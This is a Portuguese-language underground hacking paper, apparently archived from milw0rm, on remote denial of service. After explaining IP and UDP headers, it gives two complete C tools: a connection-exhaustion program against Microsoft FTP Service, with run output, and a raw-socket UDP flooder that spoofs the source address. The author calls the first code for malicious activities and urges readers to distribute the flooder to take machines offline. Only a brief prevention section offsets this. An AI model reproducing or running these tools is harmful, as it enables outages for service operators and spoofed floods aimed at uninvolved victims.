u_char *titulo[]={
"[=] + =================[####]================= + [=]\n",
" *** Amenizando Recusa de Servico Remota *** \n",
" XxX VIPER CORP GROUP XxX\n",
" <-> Underground forever <->\n",
"[=] + ================[####]================= + [=]\n\n"};
-----=[ A cena underground brasileira ]=-----
Autor : --=[ 6_Bl4ck9_f0x6 ]=----
A.k.a : David Diego D. F. Siqueira
Mail : b-fox [at] bol [dot] com [dot] br
----[ Requisitos para um bom entendimento e iniciando
Para um bom entendimento sobre o tema que este documento descreve, primeiramente voce
precisara entender um pouco sobre programacao de socket em 'C' no windows e *nix[1]
(Este ultimo e opcional, apenas para uma "melhor aprendizagem"), depois voce precisa
ter uma base sobre o Transmission Control Protocol e modulos do 'TCP/IP'[2], porque
veremos um codigo para exploracao em modulos 'TCP/IP'. Dedicarei este texto a 'Izarg'
Phoenix of fire, Sandra, Maria Beatriz e Luzinha, elas sao lindas garotas do Brasil e
sao muito importantes em minha vida; Enviarei tambem um grande fuck para todo sistema
capitalista do Brasil (A 'TV' do "Brasil"). Grande abraco para o 'Edu', meu amigo do
blackhat-forums.com (O melhor forum do mundo!) e para 'MM technical' do istf.com.br .
Tambem nao poderia esquecer do abraco do "Gramatical Boy" -> Str0ke ;)
----[ Introducao
Neste paper ensinarei como causar Recusa de Service Remota em algum daemon ou servico
de qualquer host, porque se voce sabe como causar, voce sabera prevenir. Espero que
voce goste deste texto e me envie muitos emails com comentarios e "evolucoes" tambem.
Demonstrarei passo a passo o processo em uma facil linguagem para sua melhor
aprendizagem.
Iniciando a destruicao...
----[ Entendendo o armazenamento de dados em modulos do TCP/IP
Entao, quando o primeiro modulo no 'TCP/IP' recebe um ethernet frame (eth0) ou dados
atraves de um outro tipo de transferencia, ele salva informacoes de origem no layer
(camada) Internet (Neste caso, porque os dados sao recebidos) como endereco de origem
(Guarde isso em sua mente). Depois o fluxo de dados segue para o proximo modulo, ate
a Application layer (Camada de aplicacao) ler o payload enviado pelo cliente da cone-
xao. No processo de recebimento cada modulo salva dados especificos e envia o resto
dos seguimentos do pacote para modulo acima, ele (O 'modulo') "apenas podera"
salvar/restaurar dados referentes a ele. Em uma facil forma de dizer: "Ele apenas
pode ler alguns seguimentos do pacote". Os seguimentos que ele (O primeiro 'modulo')
nao pode ler, vao para a leitura no proximo modulo. Mostrarei um melhor exemplo.
Header IP versao 4
Definido em: /usr/include/netinet/ip.h no Linux Debian
+---------------^-------------^--------------------------^------------------^
| - Versao - | - IHL - | - ToS Tipo de servico - | - Tamanho total- |
| [ Version ] | [ IHL ] | [ ToS ] | [ tot_len ] |
| [4 Bits] | [ 4 Bits ] | [ 8 Bits ] | [16 Bits] |
+---------------------------------------------------------------------------+
| - Identificacao - | - Flags - | Fragment offset |
| [ ID ] [ 16 Bits ] | [ 3 bits ] | [ frag_off ] [13 bits] |
+---------------------------------------------------------------------------+
| - Time to Live - | - Protocolo - | - Checksum do header IP - |
| [ ttl ] [8 bits] | [ Protocol ] [ 8 bits ] | [ check ] [16 bits] |
+---------------------------------------------------------------------------+
| - Endereco de origem (Source Address) - |
| [ saddr ] [ 32 bits ] |
+---------------------------------------------------------------------------+
| - Endereco de destinacao. (Destination Address) - |
| [ daddr ][ 32 bits ] |
+---------------------------------------------------------------------------+
| - Opcoes - | Padding |
| [ 24 bits (Ui!) ] | [ 8 bits ] |
+---------------------------------------------------------------------------+
| |
+ - DADOS - +
| |
+---------------------------------------------------------------------------+
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
Como voce pode ver acima, este cabecalho apenas pode ser lido pelo modulo "Internet" no
modelo 'TCP/IP', porque os proximos seguimentos nao sao referentes a ele, como os
seguimentos UDP, que trazem porta de origem, porta de destino, etc. Veja o header UDP.
Definido em: /usr/include/netinet/udp.h no debian linux
struct udphdr
{
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
^-----------------------^-----------------------^
| - Porta de origem - | - Porta de destino - |
| [source] | [dest] |
| [ 16 bits ] | [ 16 bits ] |
+-----------------------+-----------------------+
| - Tamanho do header - | - checksum - |
| [len] | [check] |
| [ 2 bytes ] | [ 2 bytes ] |
+-----------------------+-----------------------+
| |
| - Dados - |
| (Explicacao com relacao ao tamanho adiante) |
| |
+-----------------------------------------------+
Ainda podemos causar recusa de servico remota usando UDP, porque dados como endereco de
origem precisam ser salvos para emissao de uma mensagem de erro ICMP, caso exista algum
erro no modulo UDP, como por exemplo uma emissao de mensagem de Port unreachable, caso
nao aja nenhuma aplicacao 'escutando' na porta local especificada no seguimento
"Destination Port" no pacote que a maquina local recebeu, mas normalmente usando 'UDP'
voce podera causar recusa de servico por "flood" e vai derrubar a conexao da vitima e
nao apenas de um determinado servico, mas isso tambem depende da velocidade de sua
conexao; Com o TCP nos podemos facilmente prevenir algum servidor de recever conexoes
de um cliente veridico. Veja agora o porque.
----[ Entendendo tipos de socket
Entao amigos, agora e a hora de falar sobre esta coisa de "armazenar" dados. Eu disse que
dados como endereco de origem sao armazenados nos modulos e depois os dados/resto dos se-
guimentos seguem ate que o payload possa ser lido pelo ultimo layer da pilha 'TCP/IP',
agora imagine o seguinte: Dados tambem possuem bytes (Claro). Sao esses bytes que usare-
mos para causar o DoS, podemos ate dizer que o kernel do sistema pode ser configurado pa-
ra armazenar determinado numero de bytes para cada conexao "estabelecida". Tambem disse
que podemos causar DoS usando UDP, mas para isto precisariamos de um constante fluxo de
dados, mas isso nao e inteligente porque poderiamos derrubar a conexao da vitima e tambem
isto nao nos da uma certificacao de que o daemon sera "obstruido". Se voce usar 'UDP'
para causar o DoS que este texto ensina, o verdadeiro cliente da conexao poderia
enviar dados com um cliente TFTP por exemplo. Porque? Simples, veja este diagrama para um
bom entendimento e continue a leitura, amigo:
[----------------------------]
| Application Layer |
| Payload/Data |
/\ [----------------------------]
/__\ | Transport Layer |
|| | TCP - UDP - RAW []------ > Tipos de socket
|| [----------------------------]
|| | Internet Protocol Module |
|| | [network - OSI] |
|| | [Internet TCP/IP] |
|| [----------------------------]
|| | []------ > ARP - Addres Resolution Protocol
|| | Data Link (OSI) |
|| |[Access to network - TCP/IP]|
|| [----------------------------]
|| | Network interfaces |
| [ATN - TCP/IP model] |
Data flood | [PHYSICAL - OSI model] |
+----------------------------+
Modulo UDP - User Datagram Protocol [SOCK_DGRAM]
Usando socket UDP, a pilha apenas armazena os seguimentos no layer "Internet" do modelo
'TCP/IP'. Depois que o modulo UDP encontra a porta requisitada em escuta ele envia o
payload para o proxima camada acima e o endereco IP que estava armazenado no modulo
abaixo e destruido, mas se a porta nao poder ser achada, ele (O modulo UDP) envia uma
mensagem de "Port unreachable" para quem enviou o pacote, o endereco IP do cliente que
o kernel armazenou e entao usado para encontrar o endereco de origem e enviar a
mensagem ICMP de erro. Depois os dados que foram armazenados sao destruidos dentro do
kernel local. Com este protocolo nao existe espera por uma resposta da aplicacao em
execucao na maquina do lado do servidor, a.k.a: Vitima.
Modulo TCP - Transmission Control Protocol [SOCK_STREAM]
Com este tipo de socket nos esperamos uma resposta da aplicacao em execucao na maquina
da vitima, porque este tipo de socket e orientado a conexao ("Socket conectado"). Ele
espera uma resposta do ultimo modulo e envia para o cliente, um exemplo: Programas de
chat. Os dados armazenados no kernel local referenciam o endereco e porta no host da
cliente da conexao. Para este socket estabelecer alguma conexao e necessario armazenar
dados do cliente, porque ele precisa enviar respostas. Existe alguns servers que podem
ser configurados para receber apenas um numero de conexoes especifico, mas podemos
configurar o limite de conexoes de muitos servers tambem. Quando nao existe limite
para o armazenamento de dados, o server recebe dados ate causar o DoS - "na conexao da
vitima".
----[ O segredo vive aqui - Executando o D.o.S
Entao, voce agora sabe que quando estabelecemos uma conexao no kernel, tambem armazenamos
bytes em sua memoria, referente ao socket criado. Para cada socket creado no kernel remoto,
tambem sao armazenados bytes, para causar o DoS - Denial of Service, precisariamos estabe-
lecer muitas conexoes em algum servico em execucao na vitima para preencher todo seu
kernel, de bytes, ate que seu limite para sockets seja lotado, assim obstruindo o mesmo. Pa-
ra executar isso precisariamos apenas de uma simples funcao 'connect()' em uma rotina que
executa muitas conexoes ao host remoto e que NAO FECHA ESTAS CONEXOES, ou seja, sem a funcao
close(). Isso e simples, olhe a rotina que criei, abaixo.
----[ Prova de conceito escrita para atividades maliciosas (Versao em portugues)
-- obstruder.c --
/*
*
* ========================================
* * ++++++ CORPORACAO VIBORA ++++++ *
* * A cena Hacker Underground Brasileira *
* ========================================
*
* Obstrutor v1.5 - by 6_Bl4ck9_f0x6
* Para windows - Microsoft FTP Service
*
* Dedico esse prog a minha amada DeboraH.
*
* ps: Por ser tao gostosa rsrsrs...
* Minha futura esposa rapaz! rs
*
*/
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#define FUCK -1
#define CLEAR memset (&(scan.sin_zero), 0x00, 0x08);
void banner (){
int xct=0;
unsigned char *obstr1[]={
"Obstrutor v1.5 - Obstrutor de servico[s]",
"6_Bl4ck9_f0x6 - (C) Copyright Viper Corp",
" Microsoft FTP Service.\n"};
while (xct != 3){
puts (obstr1[xct]);
xct+=1;}
}
WSADATA data;
SOCKADDR_IN scan;
int conexoes, cctc;
struct hostent *host;
char choice, rcv[1500];
void obstrud (void){
int obstrui=1;
int sock[conexoes];
while (obstrui != conexoes){
sock[obstrui]=socket (PF_INET, 1, 0);
if ((cctc=connect (sock[obstrui], (struct sockaddr *)&scan, 16))
== FUCK ){
if (obstrui == 1){
fprintf (stderr, "Porta [%d] fechada\n", ntohs (scan.sin_port));
exit (FUCK);}
break;}
else if (cctc != -1){
memset (&(rcv), 0x00, sizeof (rcv));
recv (sock[obstrui], rcv, sizeof (rcv) -1, 0);
if (strncmp (rcv, "421 5", 5) == 0){
printf ("\n [Limite de conexoes alcancado]\n\n");
break;} }
system ("cls");
fprintf (stdout, "[%d] Conexoes estabelecidas na porta [%d]\n",
obstrui, ntohs (scan.sin_port));
++obstrui;
}
}
main (int argc, char **argv){
if (argc != 4){
system ("cls");
banner ();
fprintf (stdout, "Uso: %s <Vitima> <Port> <num_conections>\n",
*(argv+0));
exit (FUCK);}
WSAStartup (MAKEWORD (1,1),&data);
scan.sin_family=AF_INET;
scan.sin_port=htons (atoi (*(argv+2)) );
if ((scan.sin_addr.s_addr=inet_addr (*(argv+1))) == INADDR_NONE){
if ( (host=gethostbyname (*(argv+1))) == NULL){
fprintf (stderr, "Nao consegui resolver host!\n");
exit SOCKET_ERROR;}
memcpy (&(scan.sin_addr.s_addr), host->h_addr, host->h_length);
}
CLEAR
conexoes = atoi (*(argv+3));
obstrud ();
do {
printf ("\n=======================================\n");
puts ("[Servico obstruido com sucesso!]");
puts ("[Se quizer liberar o servico tecle 'l']");
printf ("=======================================\n");
system ("color 02");
choice=getch ();}
while (choice != 'l');
return 0;
}
-- cut --
Primeiro passo
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David>call Obstruder.exe
Segundo passo
Obstrutor v1.5 - Obstrutor de servico[s]
6_Bl4ck9_f0x6 - (C) Copyright Viper Corp
Microsoft FTP Service.
Uso: Obstruder.exe <Vitima> <Port> <num_conections>
C:\Documents and Settings\David>call Obstruder.exe localhost 22 23
O resultado final e:
[20] Conexoes estabelecidas na porta [22]
[Limite de conexoes alcancado]
=======================================
[Servico obstruido com sucesso!]
[Se quizer liberar o servico tecle 'l']
=======================================
Traducao em ingles:
twenty connections establisheds in the port 22
Neste caso a porta vinte e dois e a porta que meu servico ftp esta usando.
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David>ftp
ftp> open
Para localhost 22
Conectado a Violator.
421 5
Conexão terminada pelo host remoto.
ftp>
Voce pode adaptar meu programa para qualquer servico e tambem pode usar esta versao
em um outro servico, mas voce nao tera certificacao de que o programa teve sucesso
se usar o mesmo em outros servicos e/ou daemons. Para ver "screenshots" de meu pro-
grama e saber mais a respeito do mesmo, procure por informacoes no blackhat-forums[3]
ou na proxima edicao de minha e-zine (C.O.D.E[4]).
----[ Prevencao
A melhor forma de prevencao e nao limitar o numero de conexoes que o server pode receber, e
limitar o timeout do daemon/servico, mas esta ultima opcao seria facilmente contornada com
a utilizacao de um fluxo constante, sem contar que isso nao e muito viavel por razoes obvias.
Este metodo previne a obstrucao de algum servico/daemon. Tambem e bom voce comprar muitos
modulos de memoria para previnir queda de seu host, causada por "flood" ou Recusa de Servico
Distribuida em sua rede, porque quando os programas slaves recebem a ordem do(s) programa(s)
master(s), eles enviam muitos pacotes para algum porta em seu host (elas nao precisam estar
em escuta), e se voce nao tiver muita memoria e lagura de banda disponivel, sua maquina pode
ser derrubada. Este ataque (DDoS) trabalha explorando recursos da sua maquina, como a ja
citada "memory" e largura de banda. Se voce nao tiver a porta requerida pelos slaves, sua
maquina tambem trabalhara, porque ela envia resposta de 'Echo (ping) reply'(ICMP echo reply)
no caso de requerimento ICMP, por exemplo.
Log's interceptados pelo sniffer Ethereal:
+--------------------+------------+-----------------+---------+-------------------+
|No. | Time | Source | Destination |Protocol |Info |
+--------------------+------------+-----------------+---------+-------------------+
| 3 | 7.391731 |192.168.1.2 | 192.168.1.1 | ICMP |Echo (ping) request|
+----+---------------+------------+-----------------+---------+-------------------+
| 4 + 7.391770 |192.168.1.1 | 192.168.1.2 | ICMP |Echo (ping) reply |
+----+---------------+------------+-----------------+---------+-------------------+
Como voce pode ver minha maquina tambem trabalha quando nao existe a porta requerida em
escuta. Neste caso voce tambem precisara configurar seus firewalls para nao enviar respostas
'ICMP', assim a maquina nao trabalha, "muito" ;) Quando voce faz esta configuracao voce esta
tambem prevenindo ataques do tipo smurf que envia pacotes do tipo ICMP 'Echo (ping) request'
para enderecos de broadcast de muitas redes com o endereco de origem forjado para parecer
que a requisicao esta partindo de algum inimigo seu, a vitima. Assim eles (As maquinas) re-
tornam pacotes de resposta para o endereco IP da vitima ou vitimas. Respostas 'ICMP' tambem
sao enviadas como resposta para um requerimento UDP ou 'TCP', e isso tambem consome recursos
de seu sistema, porque sua maquina envia respostas. Olhe este programa abaixo como prova de
conceito. Compile e distribua o mesmo para seus amigos e faca grid para derrubar alguma ma-
quina na internet. Com ele voce ainda pode escolher o endereco de origem };P
-- cut this file here --
/*
*
* =======================================
* ++++++ CORPORACAO VIBORA ++++++
* A cena Hacker Underground Brasileira
* =======================================
*
* Emperial Flooder[UDP] v2.1.1
* for "Unix/Linux" users rulez!
*
*
* Simple UDP Flooder coded by 6_Bl4ck9_f0x6
*
* Thanks to: UnixTextMode(UTM), VonNaturAustreVe,
* @lyxx, Reeves, Deborah, Mina Mistery, Morticia,
* Marcos Flavio, #phobia, Smurf Criminal_s, N1N4,
* Hash, Violador and all guys from thebuggers.in
*
* **********************************************
* http://www.thebuggers.in
* **********************************************
* Excelent Underground forum
* **********************************************
*
* Especial thanks to:
*
* All members Viper Corp Group.
*
*/
#include <stdio.h> // fprintf e tals.
#include <errno.h> // Library p/ checagem de erros.
#include <netdb.h> // struct hostent e functions...
#include <stdlib.h> // exit (), system () e tals.
#include <string.h> // bzero (), memcpy() e tals.
#include <unistd.h> // getuid (), close () e tals.
#include <arpa/inet.h> // inet_addr e tals.
#include <sys/types.h> // Neste header ficam shemales oO
#include <sys/socket.h> // sendto () e tals.
#include <netinet/in.h> // struct sockaddr_in, htons () e tals.
#include <netinet/ip.h> // struct iphdr e tals.
#include <netinet/udp.h> // struct udphdr e tals.
#define MAXIMUM_TRANSMISSION_UNIT 1500
#define PRINT printf
struct iphdr ip_rlz;
struct udphdr udp_rlz;
struct sockaddr_in Vitima;
struct hostent *host;
typedef unsigned char Viper_Corp_Rulez;
Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT];
int SoCk, uid=0, indice=0, msg_s=0,
XSS, x=1, bytes_send;
char * ip_origeM;
char * ip_destinO;
int port_origeM;
int port_destinO;
void send_UDP ();
int banner ();
int main (int argc_rulez, char *Matrix[]){
if (argc_rulez < 7){
banner ();
fprintf (stdout, "\nUso: %s <IP_Spoof> <Vitima> <Port_origem> <Port_Destino>\
<msg> <num_msgs>\n\n", *Matrix);
exit (-1);}
uid=getuid ();
if (uid != 0){
fprintf (stderr, " \n[Seu UID eh [%d], voce deve ser root para\
usar Raw Socket]\n\n", uid);
exit (-1);}
if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){
fprintf (stdout, "Erro ao criar socket\n");
exit (-1);}
int num_msg_s;
num_msg_s=atoi (Matrix[6]);
ip_origeM=Matrix[1];
ip_destinO=Matrix[2];
port_origeM=atoi (Matrix[3]);
port_destinO=atoi (Matrix[4]);
char *msg;msg=Matrix[5];
bzero (pacote, MAXIMUM_TRANSMISSION_UNIT);
ip_rlz.version=4;
ip_rlz.ihl=5;
ip_rlz.tos=0;
ip_rlz.id=htons (666);
ip_rlz.ttl=255;
ip_rlz.frag_off=0;
ip_rlz.check=0;
ip_rlz.protocol=IPPROTO_UDP;
ip_rlz.saddr=inet_addr (ip_origeM);
ip_rlz.daddr=inet_addr (ip_destinO);
ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
strlen (msg));
udp_rlz.dest=htons (port_destinO);
udp_rlz.source=htons (port_origeM);
udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg));
Vitima.sin_family=AF_INET;
Vitima.sin_port=udp_rlz.dest;
Vitima.sin_addr.s_addr=ip_rlz.daddr;
memcpy (&pacote, &ip_rlz, sizeof (struct iphdr));
indice=indice + sizeof (struct iphdr);
memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr));
indice+= sizeof (udp_rlz);
memcpy (&pacote[indice], msg, strlen (msg));
indice+= strlen (msg);
for (x;x <= atoi (Matrix[6]);x+=1){
send_UDP ();
msg_s++;}
close (SoCk);
PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n");
PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s));
PRINT ("----------------------------------------\n");
return (0);
}
void send_UDP (){
if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima,
sizeof (struct sockaddr_in)) ) == -1){
fprintf (stdout, "%s", strerror (errno));
exit (-1);}
}
int banner (){
int cOc=0;
system ("clear");
char *banner[]={
"[=] + ===========[####]============ + [=]\n",
" *** Emperial Flooder[UDP] *** \n",
" XxX VIPER CORP GROUP XxX\n",
" <-> Underground Max <->\n",
"[=] + ==========[####]============ + [=]\n\n"};
while (cOc != 5){
printf ("%s", banner[cOc]);
++cOc;}
return 0;}
-- cut here --
----[ Useful links
Berkeley Socket in C for *nixes e Linuxes
[1] - http://www.hunterhacker.xpg.com.br/socket_ohhh_yes.txt
Understanding a little about OSI and TCP/IP models
[2] - http://www.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt
Get screenshots of the Obstruder in action
[3] - http://www.blackhat-forums.com/
My e-zine (C.O.D.E). Written in my time of adolescent (actually ;)
[4] - http://www.hunterhacker.xpg.com.br/CODEx02.txt
----[ Conclusao
Que meus sonhos nao sejam apenas ilusoes, que minha vida nao seja sombras e que ela
continue olhando por mim de qualquer lugar. O romance apenas existe na distancia...
[]`s
by
6_Bl4ck9_f0x6 - Viper Corp Group
# milw0rm.com [2009-03-06]